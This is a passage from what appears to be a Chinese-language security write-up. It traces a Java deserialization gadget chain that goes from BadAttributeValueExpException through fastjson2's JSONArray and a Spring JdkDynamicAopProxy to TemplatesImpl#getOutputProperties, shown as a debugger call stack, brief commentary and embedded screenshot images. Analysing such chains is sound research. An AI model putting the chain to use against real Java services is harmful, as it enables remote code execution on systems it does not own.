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
<p blockindex=61>因为代理的是 Templates</p>
<p blockindex=62><img src="data:image/png;base64,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
<p blockindex=63>可以看到是只有一个 getter 方法,所以调用栈如下</p>
<pre blockindex=64><code class="hljs language-php">invoke:<span class=hljs-number>160</span>, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-<span class=hljs-number>1</span>, <span class=hljs-variable>$Proxy1</span> (com.sun.proxy)
write:-<span class=hljs-number>1</span>, OWG_1_1_<span class=hljs-variable>$Proxy1</span> (com.alibaba.fastjson2.writer)
write:<span class=hljs-number>3124</span>, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:<span class=hljs-number>914</span>, JSONArray (com.alibaba.fastjson2)
readObject:<span class=hljs-number>86</span>, BadAttributeValueExpException (javax.management)
invoke0:-<span class=hljs-number>1</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>62</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>43</span>, DelegatingMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>497</span>, Method (java.lang.reflect)
invokeReadObject:<span class=hljs-number>1058</span>, ObjectStreamClass (java.io)
readSerialData:<span class=hljs-number>1900</span>, ObjectInputStream (java.io)
readOrdinaryObject:<span class=hljs-number>1801</span>, ObjectInputStream (java.io)
readObject0:<span class=hljs-number>1351</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>371</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>1396</span>, HashMap (java.util)
invoke0:-<span class=hljs-number>1</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>62</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>43</span>, DelegatingMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>497</span>, Method (java.lang.reflect)
invokeReadObject:<span class=hljs-number>1058</span>, ObjectStreamClass (java.io)
readSerialData:<span class=hljs-number>1900</span>, ObjectInputStream (java.io)
readOrdinaryObject:<span class=hljs-number>1801</span>, ObjectInputStream (java.io)
readObject0:<span class=hljs-number>1351</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>371</span>, ObjectInputStream (java.io)
deserialize:<span class=hljs-number>53</span>, Util (common)
runGadgets:<span class=hljs-number>38</span>, Util (common)
main:<span class=hljs-number>24</span>, Fastjson4_JdkDynamicAopProxy
</code></pre>
<p blockindex=65>只会调用getOutputProperties 方法,触发我们的 invoke</p>
<p blockindex=66><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABJ0AAAKgCAIAAAC+5ptZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAP+lSURBVHhe7J0HXBNJF8BD75BC7x1BQEUpgiCCFXvvvfd+p177zvP0xN57F86GDQEbIiqgiFRBkd5rGhA6ybeNECQTjIKKN//zx+28bGbfvHkzO29mdiPB4/FIHU1JdrCWsQ+R6ATKgvM1fPSJRCfSxC7M5yhq65LlCAEEAoFAIBAI5DumnM5Wp6kRCQjkv4Qk8X+IEKTUdI1gUAeBQCAQCAQCgUC+c2BcB4FAIBAIBAKBQCBdGxjXQSAQCAQCgUAgEEjXBsZ1EAgEAoFAIBAIBNK1gXEdBAKBQCAQCAQCgXRtYFwHgUAgEAgEAoFAIF0bGNdBIBAIBAKBQCAQSNcGxnUQCAQCgUAgEAgE0rWBcR0EAoFAIBAIBAKBdG1gXAeBQCAQCAQCgUAgXRsY10EgEAgEAoFAIBBI1wbGdRAIBAKBQCAQCATStYFxHQQCgUAgEAgEAoF0bWBcB4FAIBAIBAKBQCBdGxjXQSAQCAQCgUAgEEjXBsZ1EAgEAoFAIBAIBNK1gXEdBAKBQCAQCAQCgXRtYFwHgUAgEAgEAoFAIF0bGNdBIBAIBAKBQCAQSNcGxnUQCAQCgUAgEAgE0rWBcR0EAoFAIBAIBAKBdG1gXAeBQCAQCAQCgUAgXRsY10EgEAgEAoFAIBBI1wbGdRAIBAKBQCAQCATStYFxHQQCgUAgEAgEAoF0bWBcB4FAIBAIBAKBQCBdGxjXQSAQCAQCgUAgEEjXBsZ1EAgEAoFAIBAIBNK1gXEdBAKBQCAQCAQCgXRtYFwHgUAgEAgEAoFAIF0bGNdBIBAIBAKBdBGyH+73xTgcWkCIIBAIBAXGdRAIhKA6K/T4phn7Iolklv/6lbtuJDJ4RBry49OQF3HNPyiZTSQhEIhovkGT4TDKq7X6zpg/f/6MvtqEDALpPOB9oSsB47r2CFkq4bovk0h8RTr7ut9VuSoTTy/zsqKpkE1d5x2IZBDSH4L7K+Q9DmQRCYznP+nIyysIIC8//l8m8WGn01afZpivfMd7r3qqNnaQNSHRdh3ZPffAyMGr7uU3EqJOpijs2K576V8/jhR63SZGaujVUwd3++46fD4osbyJEHchCkIPbf83Ph37W03I2ikXuzC9iMmVlCGS4lIT67d9B8b2w6GFhLB9vrzeObF++HX5bN8TnE182Ol0ff9pLEsMunhkzz/bt2+/llhPCDuM76pdi0lW0K4jYUVEQhhf2GRQxNWTyaTLaejp0mg0sqIUIYN8WxA/ORz26V1ex/CZ/a34iOfkX729d7Yd2sm/o8rbUfnAuA7yzWmM3D7+5/QBh8JjI89MYviO2RRUQXzyQ+K45U1GRnr6h2NjeA6/PUlPT8/IOD5Kjfjwm1EV+se0w+o7H/pvHm9LIWQKxp5LDgX5D4qas+zSV9nt00CnszTU1SWI5FdD2HW5heHX7uaQXcfPmTvJSelD8KO3LZFRF6GRzapS0aTWo381FAlhO+VSd569evlI6+azxUXWZvTyZcuWzXLXIdGoVELYLh1Q7/I2o5HrLlvqYyGp5jgZPVy+yMuA+LCz6fr+U/bq1kOG2YjZS5YvXzHCWpaQdhTfU7sWlyo6o0FdXZQrf2GTQRBXz3oGo5JG++TmBfkKYH5CoxGpr8Xn9befgVhO/vXbe2fbQXT+HVXeDrObBI/X8UF1SXawlrEPkegEyoLzNXz0iUSnUXF1itqUq0QCZ/iZ0nvzNJAD1uujG34+GBhbrmTpPefvfb8O0sUC5Phtdt4lKw7VntsQkENxnbPvxPbBelgdVSUeX7V4x91M6qA/Vxjs/1PyTO4/bqi8Jj3gz/V/+T/PlbD0Wb5z78b+mhIir9sRfH/lKjjmrf96Vd3Z0ehwIjXg1+tyC34dYYyewEn997d1/1x7WaxsM2KJr++avli3mbnP1SxlS8OpEdJIAtWt/AB9vxdxLFTP+qzAvzZu9Xua2WToOfN/u38fZYKPXITpKYqqpJNrl/kGZVG8fl+mf2ib5ImM7a6ovCbj5l8bt1+NyJMwH7Zkh+96D7S816drzbqJfY2AN/hY3p05zfXYeGeB8oFe754sNyEECKyY4z9vPhKUQFcy85z51+4tA3H7J2zvNbR02b7a8z/fyqO4zNx1dNsgwv4dpk/lzbn6O7q9jP7Zuq0FmNcmGR5wj49YaUYIUNiP17hOvmmx+9ntuVhVfSEFjw5ciKluuTaPp+g8a7U32srrCqOD7r1I56j1GmBRFFLSa8NEO3TWsC7xyp44bR+jgsiYwjoV036jRzlqY7OJTazUsKAniYW1qnbe1sx72d3WTO+F3o6aWOkvHocn5dCrZWgWfYf5OOrKibpuQeiha/Uj1wwzRj7kFcXdz1Bx72eujJzSxErD8mHWK2jbeI0c3I2MVlLT+1u7nmssXNgPdVFMN/MVs/uoitCTW5EVFRqekFVaLUM1dRrm46wnj4qF64nDK4v51y+MaTtp8UAj1PnbgRF5+kSe8xyDV+fznNdPtsN9HlQueuSpE0/LJZA7grLL7JVeetjJiJapd3eFyQ+yZ0VH5VQrGbqMHOOqh+sDsjNK7sMDN3lj1gwxItIoYtofYGewPhis6HPHchzXT7RtCU2g/wjYBwD79cUjmT03TLYXiOiE6wnWRyjfX7sGAihv7qN9gbVONpWJsfk1ioYuo8bi/saJ8z94Pwc9Ac1c02vpfBdiOgxkf6H19Rl6IpQ+PX6u0mvjSEtMQwKwPwgpV138lQMZ1F7lSe90ho3Wirv9osJ85KzhlkrYN4TDyXpxPzQ2s5zDlSUb9Bk2xsMYsz7Ab9tpp0IQ199E9T8I5XS2Ok1wulS4v3E/3N31RNarO+tNdF61krHb6NHOOngjAPgnyM6In9ypd+3NiWvbT4rTHuve3z4UJDF65WgLWVJ9XujZK/m95s5wVpcC64MirL8FlFfcehHvviCyPxdqB0D9gvUU1w7CAdtZuJ/jtMlfRHlB7VEo4HyA/i/cDni5BPsFSCuUffZnIJybRur9y1P0KCPj5HgsUm8I+3PMnpoJRx9ER11bT74+efPtll109Y9DC8edCo+8Ok/q7Jwdj2pRGS/l6MI1ya4HQ59dnFkWdId/clPSwelr33vsDYl+eW2Vkt+4NTfKECn4uiASdzjSWrHsnog9P99fuTQsumtH3Q/Ox3b/WI3fRgR1pKaEA9OXxvf5J/jlszMzOQfHbwliYXJRCNXz3eEZ0x4Zbr4e+fL278ahM2cdS8XOFa4nGN6744s3Jrvsvf/k3PSy4MCW8r49NHNjqvuuwMgX/isV/Sevv4mVd+ieFIQTk3j2Gx+gRynvjo0VWY8NT/+asL92/MGgiGd+68gB039tMSmp/smTwjEnQp/5zZa6sMD3MVGujtMn8328XL8+QoI6BIqDi11cyvvWWzHryvKKOIzckioi/YVous1ZvmzpUHMJqvM0bLFl+fx+OugHjVlPrr3g2IyePd1LLj2JoUylEJ04k8kgVZVwtAZMmj3RSSUzLDKzARXzyqNv3skg95s8e5qnTPKbIlkyGeuWG4teXAsu0HEfP3v+zEF65aH3ostRMfC6KI1sBhsrtYROr2H4oJzUVBx57Xa6quvYWXMmOMi8CwxLxTetsRlMHpVCjCMQ3aSpFJXmY2F6ckuirt1IlnUYMXPe9IH69LDAV6XY6QA9cRrpefnVTZLS0p/Wb7PZTLKmZi32V2DALrRcJLVek5cvXzbHQ5dEoZAxCUYFi9HUUMxUcB43a7KLan7402QOJgfZGaOOQed8tJ4grv1BdgbpQ8Ck01WoVIHCQv8R8B8gjPJyVXWaoI+A9ATpA+C7bNfCAJW3hkGvqafXag6YumDOQN3y8HDC3+RtRqH5Ikx2JEtSyEgEjgGyP6C+xNYTpYnJYFGo1FadAMgfAOVCrCxRq9xthAs5Jfytqvdgq4akVJFbMupTQ28
<p blockindex=67>然后调用到我们 <code>TemplatesImpl#getOutputProperties</code> 方法成功实现中间过渡</p>
<p blockindex=68><img src="data:image/png;base64,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